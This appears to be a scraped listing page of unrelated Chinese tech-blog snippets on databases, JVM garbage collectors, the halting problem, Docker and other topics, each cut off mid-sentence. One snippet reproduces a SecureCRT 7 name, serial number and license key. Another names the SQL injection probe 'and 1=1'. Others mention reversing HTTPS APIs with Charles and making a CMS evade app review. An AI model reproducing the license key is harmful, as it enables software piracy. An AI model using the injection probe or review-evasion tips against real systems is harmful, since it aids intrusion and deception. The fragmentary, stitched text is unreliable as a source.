java操作mongodb查询总数_java操作mongodb——查询数据
field为查询字段,value为查询值,也可以通过过滤器Filters,Filters提供了一系列查询条件的静态方法相等 — FindIterable iter doc.find(new Document("name","张三"));// 或者 FindIterable iter doc.find(new Docu…...

mysql中怎么分页查询_mysql怎样实现分页查询
mysql分页查询的方法:1、用具体字段代替【*】;2、先查寻索引;3、使用【between … and】,id必须是连续递增的;4、保留上一页记录所在id。mysql分页查询的方法:简述通常在MySQL中通过limit #{limit},#{offse…...

SQL 复杂查询
SQL 复杂查询指的就是子查询。为什么子查询叫做复杂查询呢?因为子查询相当于查询嵌套查询,因为嵌套导致复杂度几乎可以被无限放大(无限嵌套),因此叫复杂查询。下面是一个最简单的子查询例子:SELECT pv FROM…...

mysql查询时间最新_MYSQL查询时间数据
利用mysql查询时间数据在平常使用php中经常会遇到,本篇将介绍多种时间数据的查询。mysql查询本季度今天select * from 表名 where to_days(时间字段名) to_days(now());昨天SELECT *FROM表名WHERE TO_DAYS( NOW( ) ) – TO_DAYS( 时间字段名) < 17天SELECT *FRO…...

Redis 持久化详解
目录一、简介二、RDB持久化2.1、SAVE2.2、BGSAVE2.3、SAVE选项2.4、RDB文件结构2.5、RDB文件载入三、AOF持久化3.1、开启AOF功能3.2、配置AOF文件的冲洗频率3.3、AOF重写3.3.1、BGREWRITEAOF命令(手动)3.3.2、AOF重写配置选项(自动࿰…...

MySQL中给字符串字段加索引
文章目录前言一、前缀索引和普通索引二、前缀索引对覆盖索引的影响三、优化前缀索引前言 学完了MySQL索引部分,我们清楚的认识到给子段添加索引可以快速的进行查询,节约时间。但是索引有很多。那么对于字段怎么加索引,加什么索引。加到索引不…...

24个提高你的知识和技能极限的数据科学(机器学习)项目(免费)
作者|ANALYTICS VIDHYA 编译|Flin 来源|analyticsvidhya 介绍 数据科学(机器学习)项目为你提供了一种有前途的方式来启动你在该领域的职业。你不仅可以通过应用它来学习数据科学,还可以在自己的简历上展示一些项目! 如今&#…...
计算机音乐作曲排名2019,2019金曲排行榜_2019《全球华人歌曲排行榜》年度五强名单公布...
2019《全球华人歌曲排行榜》年度五强名单公布7月29日,2019《全球华人歌曲排行榜》公布年度五强名单。这份年度五强与... 提名名单中,年度最受欢迎影视金曲不仅仅代表着流行,已极尽可能从创作、...>>20人转发抖音十大神曲2019 最火的抖音…...

1963年以来世界最伟大的一百首流行歌曲
流行音乐杂志《滚石》与MTV音乐电视联合评选出了自1963年以来世界最伟大的一百首流行歌曲。 "甲壳虫"乐队的经典老歌"Yesterday"(昨日)被传唱三十七年,经久不衰,高居百佳之首。 《滚石》与MTV策划本次评选活…...

一些对我影响重大的流行歌曲(r11笔记第32天)
11年前的一个下午,我在电脑上敲下了下面的文字: 2006-09-28 17:07:13 曾经自己还是一个很菜的人,特别希望能够拿一把吉他在草地上弹唱,那种感觉特别的向往 ,在大一的下学期的时候我硬是咬着牙去买了一把吉他 ,一把古典的吉他,开始了我的吉他生涯,说实…...

【OpenGL学习】Shader和Shader类的抽象
Shader 本节学习OpenGL中Shader的使用并将其抽象为类,简要介绍OpenGL所使用的着色器语言GLSL。 一、什么是Shader? 参考维基百科中对Shader的定义:着色器 - 维基百科,自由的百科全书 (wikipedia.org) 计算机图形学领域中&…...

SecureCRT 7序列号
SecureCRT 7 序列号Name: Sherrill Ray Company: Serial Number:03-40-084141 License Key: ABWGUE ZPPZ6X XHTN2S 1N7PER AB39ZJ PX3312 WS6BZF GHN2ET Issue Date: 10-26-2002...

java通过sessionID获取指定session,jetty通过sessionID获取指定session,Jetty的session源码分析
文章目录写在前面jetty环境源码分析根据sessionID获取指定Session写在后面写在前面 sessioncookie的机制相信很多小伙伴都明白,这里就不再赘述了。 我们都知道,浏览器请求的信息中会自动将jsessionid传给服务端。 传统方式通过HttpSession session r…...

OpenHarmony社区运营报告(2022年11月)
目录 本月快讯 一、代码贡献 二、生态进展 三、社区治理 四、社区活动 五、社区及官网运营 本月快讯 • 11月24日,第二十届中日韩三国IT局长OSS会议暨东北亚开源软件推进论坛以在线形式成功召开。经审核评选认定,OpenAtom OpenHarmony(…...

数据网站 免费数据网站
由于职业原因,老李经常需要各个行业的数据,这么多年过去了也搜集了不少。今天就给大家分享一下我的宝藏免费数据网站们。 一、国家社会类 1、中国统计局 链接:http://data.stats.gov.cn/ 这个网站可谓是要啥有啥,如农业࿰…...

WebStorage之浏览器的本地存储(结合案例)
目录前言一,WebStorage二,localStorage2.1 存储2.2 读取2.3 删除2.4 清除全部2.5 代码三,sessionStorage3.1 用法3.2 区别3.3 代码四,结合案例后记前言 浏览器的本地存储可以缓存一些信息在浏览器中,方便取用。在学习…...

TCP通信的三次握手和四次挥手详解
TCP通信的三次握手和四次挥手详解 计算机网络参考模型: 应用层:例如Modbus、Http、FTP 传输层:TCP、UDP 网络层:IP 数据链路层:MAC 物理层:RS485、RS232、以太网 TCP的包头: TCP包头为至少20字节 TCP包头解释 源端口号、目的端口号,用于建立连接时,确认源端口(本机…...

2.2总线的性能指标
文章目录一、总线传输周期二、总线时钟周期三、总线工作频率四、总线时钟频率五、总线宽度六、总线带宽1.概念2.注意点3.案例分析4.总结补充七、总线复用八、信号线数九、总结这一节我们一起学习评价 总线性能的指标,这些指标很可能在选择题或者大题第一小题出现。一…...
苹果cms对接影视小程序源码完整源码+视频教程
1.把小程序里面所有的/ 换成你的域名 2.苹果cms路径骗审 直接关闭网站状态即可 3.自定义页面 index.html是微信数据的缓存 这个很重要 需要生成 生成后首页的所有内容都从这里获取 而不需要直接调用数据库 降低服务器的效率 小程序首页是按照点击量hit 显示 小程序首页是静态…...

2021 年 15 个受欢迎的 CMS 平台(比较)
您是否想知道使用什么 CMS 平台来构建您的网站? CMS(内容管理系统)平台可让您轻松创建网站,而无需了解任何代码(至少对大多数代码而言)。有很多 CMS 选项可用,这意味着您可能很难选择最适合您需…...
微信小程序实战:CMS系统开发-老孟编程
小程序实战:Cms系统开发 讲师:孟老师微信小程序实战:CMS系统开发发布地址:http://study.163.com/course/courseMain.htm?courseId1003811033课程介绍:小程序和APP公用一套api接口,便于互相移植。拒绝一切假…...

Parallel Scavenge无法和CMS共同使用
DefNewGeneration是default new generation ParNewGeneration是parallel new generation 原本HotSpot VM里没有并行GC,当时就只有NewGeneration;后来准备要加入young gen的并行GC,就把原本的NewGeneration改名为DefNewGeneration,…...

java 程序执行后 强制gc_快速理解Java垃圾回收奥秘(GC)
引子说到虚拟机的垃圾回收机制,学过JVM的同学可能都略知一二。Eden、Survivor、Minor GC、G1这个名词萦绕耳边,但往往又无法详细的描述清楚,下面我们就GC的原理做一些讲解,清晰的记住下面几点有助于帮助你理解JVM。正文1、GC的概念…...

CMS收集器和G1收集器的区别
目录 CMS收集器和G1收集器的区别 区别一: 使用范围不一样 区别二: STW的时间 区别三: 垃圾碎片 区别四: 垃圾回收的过程不一样 对于CMS收集器和G1收集器的不同,目前简单写了一下4点,有不足的地方后面再…...

CMS和G1的对比分析
1、CMS收集器CMS收集器是一种以获取最短回收停顿时间为目标的收集器。基于“标记-清除”算法实现,它的运作过程如下:1)初始标记 2)并发标记 3)重新标记 4)并发清除初始标记、从新标记这两个步骤仍然需要“…...
CMS垃圾回收器和G1垃圾回收器区别
1.引言 我们知道java在C语言的基础上演变而来。java垃圾回收机制是java和C等语言的一个重要区别,让java程序员可以不用像C程序员那样为内存回收而提心吊胆,而是专注于业务逻辑。在介绍垃圾回收机制之前我们首先要介绍下jvm。jvm是Java Virtual Machine&…...

Android Studio 阅读 frameworks/base 下的代码
从网上搜的方案都是生成 android.ipr,但是这个需要整编,整编一次比较费时费劲,所以想了个巧招 首先用 Android Studio 打开 frameworks/base,其文件夹目录大概形如下: ├── Android.bp├── Android.mk├── api …...

优雅停机问题
类别文档基础知识优雅停机的时机与任务顺序编排springspring 优雅停机dubboDUBBO优雅停机kafkakafka-client 优雅关停httphttp 服务优雅下线死循环任务死循环任务优雅关停线程池线程池优雅关闭...

图灵完备——停机问题
图灵完备的机器可以解决所有可解问题,亦即任何图灵完备的机器逻辑上都是等价的。 那么什么属于不可解的问题呢?这里我们引出一个问题:不存在这样的一个程序,它可以判定任意程序是否会结束执行(停机问题)。 …...

对角化原理和停机问题
对角化原理 有人说,使用数学归纳法和反证法可以演绎整个数学。不管说法对不对,但至少反映了这两种方法的常用和强大;即使有的时候 me 们没有意识到使用了这两种方法,比如证明: 10 个苹果分给 9 个小盆友,肯…...

NP理论(2):“判定问题”与“停机问题” 精选
NP理论(2):“判定问题”与“停机问题” 精选 已有 2924 次阅读 2016-7-18 23:20 |个人分类:NP理论|系统分类:科研笔记|关键词:判定问题 停机问题 计算机理论中现在流行的一个最基本术语就是“停机问题”(the Halting Problem&am…...

图灵停机问题(halting problem)
问题描述 是否存在一个过程能做这件事:该过程以一个计算机程序以及该程序的一个输入作为输入,并判断该过程在给定输入运行时是否最终能停止。问题解答 1936年图灵证明这样的过程是不存在的。证明 (反证法) 假设:存…...

关于停机问题的一点思考
文章目录从最大公约数讲起停机问题的一种证明方式写在后面参考资料从最大公约数讲起 如果要计算90和21的最大公约数,根据欧几里德的定理,等同于求21和6的最大公约数,进一步等同于求6和3的最大公约数,经过几步转化,最终…...
解答百度上面一个停机问题的疑惑
其实一开始自己也存在这样的疑惑看了一篇博客之后http://www.cnblogs.com/lienhua34/archive/2012/03/05/2381296.html,豁然开朗,顺便就用自己的话解答了百度上面一位网友的提问。 为了防止万一以后自己再犯迷糊,把解答的内容截图在此&#…...

对于停机问题的理解
偶尔看到知乎的一个答案中提到了“停机问题”的概念,觉得挺有趣。 在看了维基百科之后, 以下是我的理解: 已知: enum couldStopFlag{ couldStop true }; couldStopFlag CouldStop(function F); couldStopFlag K(function K) {if(…...

图灵停机问题的史上最详细描述
图灵停机问题 停机问题就是判断任意一个程序是否能在有限的时间之内结束运行的问题。 等价于是否存在一个程序H,对于任意输入的程序P,能够判断P会在有限时间内结束或者死循环。 假设存在这样的一个函数H来判断一个程序P在输入为 I 情况下是否会停机。最…...

图灵机停机问题与辩证无限观
图灵机停机问题与辩证无限观 图灵机停机问题的证明有两种方法:对角线法、判定程序法。这两种证明方法一直遭受到科学界、哲学界的质疑。而“对角线法”备受质疑,是因为这种方法的哲学思想是一种“实无限”思想。我文《辩证唯物主义无限观与诸流派无限思想…...

停机问题的误解
问题 停机问题(Halting problem):是否存在这样一个程序,他能判断任意程序在输入确定的情况下是否为死循环。 可以用 while(true) 表示死循环,构造例子如下: 判断(输入) {if (输入 是死循环)return 死循环elsereturn 停机 }假设有两个程序&a…...

图灵停机问题
1. 首先你要知道:为什么在证明一个命题时,反证法是有用的。 反证法即首先假设结论不成立,由该假设推导出某个命题的正反两方面,这违反了矛盾律(理论体系发相容性/自恰性),故假设不成立…...

计算机无法解决停机问题,不可解问题之停机问题(Undecidable Problem Halting Problem)...
计算机技术已运用到人类生活的方方面面,帮助人类解决各种问题。可你是否有想过,计算机是否能为人类解决所有问题呢?假如你是一个程序猿,你已编写过很多程序。有些程序一下子就能出结果,有些程序则好久都没有显示结果。…...

如何理解停机问题
预备知识: 理发师悖论 克里克岛的一座小城里有位理发师, 有一天他做出一项规定: 他给并且只给那些不给自己理发的人理发. 理发师的这个规定似乎很有道理, 既然有人自己给自己理发了, 那么我就不用"多此一举", 我再给这个人理发. 最初, 这个规定并没什么问题, 后来,…...

离散数学——停机问题
停机问题 停机问题由 1936 年图灵提出,停机问题的提出,证明了存在无法实现的算法。 停机问题的主要思想如下: 试图编写一个程序 HHH ,将一个可执行的程序代码 PPP 作为输入,将作为执行 PPP 的输入作为参数 III &…...

停机问题
引用源blog 有可计算的函数,当然也就有不可计算的函数。一个著名的例子就是停机问题。为了简化问题,这里我们将一个程序也作为数据对象来处理,并且能够作为某个程序的输入。如果P是一个程序,x是程序的输入,则P(x)…...

停机问题的理解
关于停机问题维基百科给出的定义是: 停机问题(halting problem)是逻辑数学中可计算性理论的一个问题。通俗的说,停机问题就是判断任意一个程序是否会在有限的时间之内结束运行的问题。该问题等价于如下的判定问题:给…...

数字孪生颠覆传统铝材挤压生产,全新生产方式即将到来!
随着市场经济的发展,各种新型的高科技建筑材料相继出现,所有的基础工程均需要大量的建筑,需要大量门窗和建筑材料,而铝及其铝合金在其中占有重要的地位。随着时代的进步,材料的应用也发生着变化。因铝合金型材具有强度…...

整合SpringCache
整合SpringCache 1、引入依赖cache还有redis <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-cache</artifactId> </dependency>2、写配置 spring:cache:type: redis3、测试使用缓存 Cache…...

Azure OpenAI 官方指南03|DALL-E 的图像生成功能与安全过滤机制
2021年1月,OpenAI 推出 DALL-E。这是 GPT 模型在图像生成方面的人工智能应用。其名称来源于著名画家、艺术家萨尔瓦多 • 达利(Dal)和机器人总动员(Wall-E)。DALL-E 图像生成器,能够直接根据文本描述生成多…...

【Python_requests学习笔记(八)】基于requests模块 实现响应内容嵌入JS 进行url地址跳转 数据的爬取
基于requests模块构建免费代理IP池 前言 此篇文章中介绍基于requests模块,实现对在响应内容中嵌入JS,真实的url地址进行跳转后数据的爬取,并以爬取行政区划代码数据为例进行讲解。 正文 1、需求梳理 抓取民政部网站最新行政区划代码 一级…...

3D Slicer学习记录(6)-使用PLUSapp连接WebCam并实现marker跟踪
前记在上次的博客中已经演示了利用Intel realsense进行marker跟踪,如果没有intel realsense怎么办?其实在之前的博客中早就提到plusapp支持多种硬件设备,包括笔记本自带的相机,因此,如果没有双目相机,或许可以尝试笔记本自带的相机完成之前的任务,只不过在跟踪精度和mar…...

路径 Floyd 蓝桥杯 JAVA
题目描述: 小蓝学习了最短路径之后特别高兴,他定义了一个特别的图,希望找到图中的最短路径。 小蓝的图由2021 个结点组成,依次编号1 至2021。 对于两个不同的结点a, b,如果a 和b 的差的绝对值大于21,则两个…...

小迪安全day12WEB漏洞-SQL注入之简要SQL注入
小迪安全day12WEB漏洞-SQL注入之简要SQL注入 注入产生原理详细分析 可控变量带入数据库查询变量未存在过滤或过滤不严谨 连接符区分 and是sql语句连接符,&是uel参数连接符 and 11是注入语句, &是添加一个新变量 数据库内容 数据库A 网站…...

初级算法-哈希表
主要记录算法和数据结构学习笔记,新的一年更上一层楼! 初级算法-哈希表一、有效的字母异位词二、两个数组的交集三、快乐数四、两数之和五、四数相加(二)六、赎金信七、三数之和八、四数之和哈希表 散列表有m个存储单元…...

什么是 LuaJIT?为什么 Apache APISIX 选择了 LuaJIT?
本文介绍了 LuaJIT 的高灵活性和高性能,以及 APISIX 作为云原生 API 网关选择 LuaJIT 的原因。 作者杨陶,API7.ai 技术工程师。 原文链接 什么是 LuaJIT 定义 简单地说,LuaJIT 是 Lua 这种编程语言的实时编译(JIT,J…...

基于jsp+ssm+springboot的人职匹配推荐系统【设计+论文+源码】
摘 要 随着科学技术的飞速发展,各行各业都在努力与现代先进技术接轨,通过科技手段提高自身的优势;对于人职匹配推荐系统当然也不能排除在外,随着网络技术的不断成熟,带动了人职匹配推荐系统,它彻底改变了过…...

【Linux】简易Shell的实现
🤣 爆笑教程 👉 《看表情包学Linux》👈 猛戳订阅 🔥 💭 写在前面:本章是个 "插叙",前几章我们学了程序替换,现在我们可以尝试动手做一个 "会创建,会终止…...

ccc-pytorch-宝可梦自定义数据集实战-加载数据部分(9)
文章目录第一步:构建路径与种类的映射关系第二步:载入所有的宝可梦图像第三步:打散顺序并通过路径名提取映射关系构建映射文件第四步:完善选取、获取图片信息功能并可视化第五步:对数据进行预处理第六步:批…...

【案例讲解】LVGL GIF开机动画和关机动画
更多源码分析请访问:LVGL 源码分析大全 目录 1、功能特性2、重点代码2.1、 覆盖其它图层2.2、 强制GIF只播放一次2.3、 任何页面中长按OK键跳出关机页面2.4、 完成时销毁自身3、参考源码1、功能特性 1、播放一次完整的GIF后就退出,退出时并销毁对象,以节省资源;2、图层能覆…...

腾讯云服务器带宽计费规则介绍
腾讯云服务器公网带宽计费模式按使用流量是怎么计算的?不按照带宽大小计费,按照实际云服务器公网出方向实际产生多少流量来收费,为了避免突发流量产生高额流量费,可以设置一个峰值带宽。 腾讯云服务器公网流量费计算的是出流量&a…...

主从高可用面试题大全
主从高可用面试题大全 目录 文档索引 面试题汇总 Q:注册中心是什么?为什么需要注册中心? Q:注册中心是如何实现的? Q:实例如何通过注册中心进行服务发现 Q:注册中心如何进行选型ÿ…...

C语言-程序环境和预处理(2)
文章目录预处理详解1.预定义符号2.#define2.1#define定义的标识符2.2#define定义宏2.3#define替换规则注意事项:2.4#和###的作用##的作用2.5带副作用的宏参数2.6宏和函数的对比宏的优势:宏的劣势:宏和函数的一个对比命名约定3.undef4.条件编译…...

抓包逆向神器Charles推荐,https接口了无秘密
业余时间想找个免费的智能AI接口用,体验了几款插件真不错,比如Bito插件和IDE神器Cursor,但不知道他们的后台接口。想着看看他们的接口,不用说肯定是https加密的。http包透明传输还好,但是大多数是https加密传输的&…...

什么品牌的蓝牙耳机适合学生党用?学生党高性价比国产蓝牙耳机推荐
最近看到很多网友问什么品牌的蓝牙耳机适合学生党用?现在的蓝牙耳机品牌越来越多,适合学生党用的蓝牙耳机品牌也不少。下面,我来给大家推荐几款适合学生党的国产高性价比蓝牙耳机,可以当个参考。 一、南卡小音舱蓝牙耳机 参考价…...

C语言指针链表
C语言指针链表是一种非常常见的数据结构,它可以用于在程序中存储和操作一系列相关数据,包括但不限于整数、字符串、结构体等类型。下面我们将介绍如何使用C语言指针链表,并提供一个可以执行的示例代码。 1. 定义链表结构体 链表是由若干个节…...

sh脚本中使用getopts解析的参数中含有空格的解决方法
一、getopts的问题 如下使用getopts时,当执行命令为 #sh test1.sh -s “A B C” 时, getopts只能解析到 -s A,空格后面的内容就没办法解析了,其实在使用$给fun_main函数传参的时候"A B C"就被分割成了三个参数了。 #!/bin/sh #t…...

关于测试,我发现了哪些新大陆
关于测试 平常也只是听说过一些关于测试的术语,但并没有使用过测试工具。偶然看到编程老师在课堂上使用龙测为我们展示了一波测试的相关操作,我发现了一些新大陆,这篇文章就记录一下有关测试的相关操作。 开启测试之旅 进入官网了解到 龙测…...

HTTP状态代码以及定义
在我们平常浏览网页时,也会发现一些文件不存在时显示为“404错误”,这就是常见的Http请求状态(status) Web服务器响应浏览器或其他客户程序的请求时,其应答一般由以下几个部分组成:一个状态行,…...

基于Springboot实现口腔牙诊所网站平台【源码+论文】
基于Springboot实现口腔牙诊所网站平台【源码论文】开发语言:Java 框架:springboot JDK版本:JDK1.8 服务器:tomcat7 数据库:mysql 5.7 数据库工具:Navicat11 开发软件:eclipse/myeclipse/idea M…...

SQLAlchemy查询不重复的数据
在SQLAlchemy中,如果你想查询不重复的数据,可以使用distinct()方法。以下是一个简单的示例: 首先,导入必要的库和对象: from sqlalchemy import create_engine, Column, Integer, String from sqlalchemy.ext.declar…...

Leetcode27—移除元素
27 移除元素 给你一个数组 nums 和一个值 val,你需要 原地 移除所有数值等于 val 的元素,并返回移除后数组的新长度。 不要使用额外的数组空间,你必须仅使用 O(1) 额外空间并 原地 修改输入数组。 元素的顺序可以改变。你不需要考虑数组中…...

vue3 组件篇 Message
文章目录组件介绍组件使用组件代码参数说明关于vue3-dxui组件库组件介绍 Message组件用以消息提示,用户在前端完成某些交互时,在页面弹出的某种反馈。该组件一共有四种类型,info、success、warning、error。与一般的组件不同,该组…...

Linux宝塔面板搭建Discuz论坛, 并公网远程访问【内网穿透】
文章目录前言1.安装基础环境2.一键部署Discuz3.安装cpolar工具4.配置域名访问Discuz5.固定域名公网地址6.配置Discuz论坛前言 Crossday Discuz! Board(以下简称 Discuz!)是一套通用的社区论坛软件系统,用户可以在不需要任何编程的基础上&…...

最长公共子序列 以及 输出公共最长子序列
最长公共子序列 以及 输出公共最长子序列题目描述 给两个字符串,输出最长公共子序列 例如 ABCBDAB BDCABA 那么输出结果就是 BCBC 思路: f[i][j] 表示 1-i 和 1-j 中对应字符串A 和 字符串B的角标中 已经算出的最长子序列长度 b[i][j] 表示 字符串A和B…...

【vue2】使用elementUI进行表单验证实操(附源码)
🥳博 主:初映CY的前说(前端领域) 🌞个人信条:想要变成得到,中间还有做到! 🤘本文核心:vue使用elementUI进行表单验证实操(附源码) 【前言】我们在构建一…...

药品批准文号查询|药融云-中国批准文号系统在线查询
药品批文是国家食品药品监督管理局(NMPA)对药品的审评和批准的证明文件,是药品合法上市的必要条件。药品批文包括国产药品批准文号和进口药品注册证号,每个批文都有唯一的编号和有效期限。那么,怎样查询中国药品批文呢…...

谁是猪头王
来自推理学院APP 规则: 示例: 每张牌上有猪头数量,红色虚线框里面有总数。 现在4位玩家数字公布,首先出2的先选一行清空并扣分,假如他选第2行1个猪头,则扣1分,局面变成: 5 …...

Mac配置jdk环境
打开终端获取java的安装路径在终端输入:/usr/libexec/java_home -V待会使用中间java se8的地址在配置文件中完善路径打开配置文件open -e .bash_profile 将以下模版粘贴到bash profile中去,并将我的jdk地址替换为上述java se8后面的地址后保存#JAVAJAVA_…...

【算法系列之回溯算法】leetcode46.全排列
90.子集II 力扣题目链接 给你一个整数数组 nums ,其中可能包含重复元素,请你返回该数组所有可能的子集(幂集)。 解集 不能 包含重复的子集。返回的解集中,子集可以按 任意顺序 排列。 输入:nums [1,2,…...

Docker基础篇——最全讲解
文章目录一、CentOS安装docker二、启动帮助类命令三、镜像命令1.名词概念2.常用命令2.1 镜像命令2.2 容器命令2.2.1:常用参数2.2.2:常用指令2.3 安装单机mysql、redis一、CentOS安装docker docker官网 1)yum安装gcc相关: yum -y…...

若依框架----源码分析(@RateLimiter)
若依作为最近非常火的脚手架,分析它的源码,不仅可以更好的使用它,在出错时及时定位,也可以在需要个性化功能时轻车熟路的修改它以满足我们自己的需求,同时也可以学习人家解决问题的思路,提升自己的技术水平…...

Qt+MySql开发笔记:Qt5.9.3的mingw32版本编译MySql8版本驱动并Demo连接数据库测试
若该文为原创文章,转载请注明原文出处 本文章博客地址:https://hpzwl.blog.csdn.net/article/details/129687210 红胖子网络科技博文大全:开发技术集合(包含Qt实用技术、树莓派、三维、OpenCV、OpenGL、ffmpeg、OSG、单片机、软硬…...

java基础:JAVA中重写equals()方法的同时要重写hashcode()方法
一、public boolean equals(Object obj) 和 hashcode()方法是object对象中的方法。 二、equals与hashcode间的关系是这样的: 1、如果两个对象相同(即用equals比较返回true),那么它们的hashCode值一定要相同; 2、如果…...

你掌握了吗?在PCB设计中,又快又准地放置元件
在印刷电路板设计中,设置电路板轮廓后,将零件(占地面积)调用到工作区。然后将零件重新放置到正确的位置,并在完成后进行接线。 组件放置是这项工作的第一步,对于之后的平滑布线工作是非常重要的工作。如果在接线工作期间模块不足…...

Uploadifive 批量文件上传
Uploadifive 批量文件上传_uploadifive 多个上传按钮_asing1elife的博客-CSDN博客 属性auto - Boolean - true当文件被添加到上传队列时,会自动上传buttonClass - String为上传按钮指定一个类选择器buttonText - String - SELECT FILES定义显示在按钮上的文本内容up…...

多美商城实战-01-引入REST Framework
1. 引入Django REST framework 在本章中,我们要大家介绍为什么学习Django REST framework,它能帮助我们做哪些事情。 课程思路: 我们从分析现在流行的前后端分离Web应用模式说起,然后介绍如何设计REST API,通过使用Django来实 现一个REST API为例,明确后端开发REST API要做…...

数字温湿度传感器DHT11模块资料
模块实例https://blog.csdn.net/qq_38393591/article/details/111269994 1.1产品概述 DHT11数字温湿度传感器是一款含有已校准数字信号输出的温湿度复合传感器。它应用专用的数字模块采集技术和温湿度传感技术,确保产品具有极高的可靠性与卓越的长期稳定性。传感器…...

2023面试题汇总二
一、CSS面试题 1. 清除浮动的方式有哪些? 为什么要清除浮动?因为浮动的盒子脱离标准流,如果父盒子没有设置高度的话,下面的盒子就会撑上来。 额外标签法(在最后一个浮动标签后,新加一个标签,给其设置cle…...

孩子用什么样的灯对眼睛没有伤害呢?2023这样的灯光更护眼
现代社会高速发展,越来越多的人开始重视身体健康,尤其是很多家长,非常关心孩子的眼睛健康问题。现如今我们的青少年儿童近视率常年高居世界第一,情况不容乐观,这个与习惯、学习、照明环境等众多因素有关。 其中照明环境…...

GitHub的Repository权限将public转为private(转)
转自: GitHub的Repository权限将public转为private 2019年1月7日,GitHub CEO Nat Friedman 于官方博客公开发文,称“New year, new GitHub”,宣布从此将免费无限地为普通用户提供私有仓库服务。 因此,我们可以将之前创建的公开仓库…...

《钢琴调律原理及应用》 笔记
【第一章 绪论】 美国人威廉布雷德怀特于 1917 年发表了世界上第一部关于钢琴调律理论与技术的著作,书名为《钢琴调律与相关技术》 福岛琢郎于1950年发表一部名为《钢琴的构造调律修理》的专著 80年代初,在沈阳音院任教的张琨先生写出了我国第一部有关…...

Java OFD文件转PDF、图片、SVG、TXT、HTML
OFDRW 提供了将 OFD 文档导出为其他格式文档的能力,如导出为 PDF、图片、SVG、TXT、HTML 等。 OFDRW 转换模块在 2.0.0 之后抽象了多种文档导出接口,使用统一的 API 实现 OFD 文档导出功能。 之前整合的 2.0.0 以前版本,可参考 OFD 文件转换…...

WuThreat身份安全云-TVD每日漏洞情报-2023-03-23
漏洞名称:Windows Installer 特权提升漏洞 漏洞级别:高危 漏洞编号:CVE-2023-21800,CNNVD-202302-1117 相关涉及:Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) 漏洞状态:POC 参考链接:https://tvd.wuthreat.com/#/listDetail?TVD…...

gan实战(DCGAN、)
一、DCGAN 1.1 参数 (1)输入:会被放缩到6464 (2)输出:6464 (3)数据集: 1.2 实现 import glob import torch from PIL import Image from torch import nn from torch.u…...

视频编辑场景下的文字模版技术方案
作者 | Lok’tar ogar 导读 本文根据度咔剪辑APP文字模版开发实践,分享视频编辑场景下,静态文字模版渲染能力的技术方案。作为富文本渲染方案的父集,此技术方案可以扩展到其他需要复杂富文本渲染的场景下。 全文6745字,预计阅读时…...

移动应用架构设计:如何转变开发流程
移动应用架构设计:如何转变开发流程 2023 年掌握移动应用程序架构的指南(附案例研究) 如果他们要解决这个问题,开发人员需要了解移动架构设计的最佳实践,使他们能够构建用户喜欢的优化应用程序。其中一些做法包括使用…...

【服务器数据恢复】误操作导致NetApp存储卷丢失的数据恢复案例
服务器数据恢复环境: 某公司的一台NetApp某型号存储; 几十块磁盘组建两组存储池,两组存储池互为镜像; 存储池划分卷并映射到ESXI作为数据存储使用,卷内有数百台虚拟机。 服务器故障: 管理员操作失误导致卷…...

QML- QML视觉元素类型
QML视觉元素类型一、概述一、图像类型三、共享视觉属性1. 不透明度和可见性2. 转换(转置)一、概述 对于最基本的视觉效果,Qt Quick提供了一个 Rectangle 类型来绘制矩形。这些矩形可以用颜色或垂直渐变来着色。 Rectangle 还可以在矩形上绘制…...

nodejs+vue+elementui水果购物商城vue
水果购物商城系统的主要使用者分为管理员;个人中心、用户管理、水果分类管理、水果信息管理、系统管理、订单管理;前台首页;首页、水果信息、个人中心、后台管理、购物车、人工服务;用户后台;首页、个人中心、水果信息…...

从NVIDIA GTC大会,看AI算力行业信号
从NVIDIA GTC 2023这场全球行业盛宴,我们可以解读出AI算力行业的哪些重要信号?一年一度的NVIDIA GTC如期而至汇聚了全球AI与元宇宙开发者的目光焦点,NVIDIA GTC 2023于美国当地时间3月20日如期而至。众所周知,作为全球一年一度的行…...

Docker 在未来应用场景的有哪些?
Docker是一种流行的容器化技术,可以将应用程序和其依赖项打包到一个可移植的容器中,使得应用程序可以在任何平台上运行。Docker的应用场景非常广泛,下面列举了一些常见的应用场景: 应用程序部署和管理:Docker可以使应…...

部署+使用集群的算力跑CPU密集型任务
我先在开头做一个总结,表达我最终要做的事情和最终环境是如何的,然后我会一步步说明我是如何搭建。 要做的事情 尝试如何使用多台机器的算力共同跑一个CPU密集型或者GPU密集型的任务。这里以CPU密集型为例子。 在多台机器搭建MPI环境,构建…...

MATLAB算法实战应用案例精讲-【智能优化算法】森林优化算法(FOA) (附MATLAB代码实现)
目录 前言 算法原理 算法思想 (一)树的初始化 (二)局部播种...

后端接口返回近万条数据,前端渲染缓慢,content Download 时间长的优化方案
前言 性能优化,是前端绕过不去的一道门槛,甚是重要。最近一年,也很少有机会在项目中进行前端性能优化,一直在忙于业务开发。 最近终于是来了机会,遇到了这样的场景,心里也甚是激动,写个随笔记…...

三天吃透MongoDB面试八股文
本文已经收录到Github仓库,该仓库包含计算机基础、Java基础、多线程、JVM、数据库、Redis、Spring、Mybatis、SpringMVC、SpringBoot、分布式、微服务、设计模式、架构、校招社招分享等核心知识点,欢迎star~ Github地址:https://github.com/…...

游戏服务器开发指南(一):设置合适的Socket选项
前言 上周写完系列序言,得到不少读者朋友的关注,这也给了我额外的动力。写东西就是这样,都希望获得更多的关注,如果写出来没什么人看,那就无异于闭门造车、自娱自乐。欢迎朋友们在文后留言,我也会根据大家…...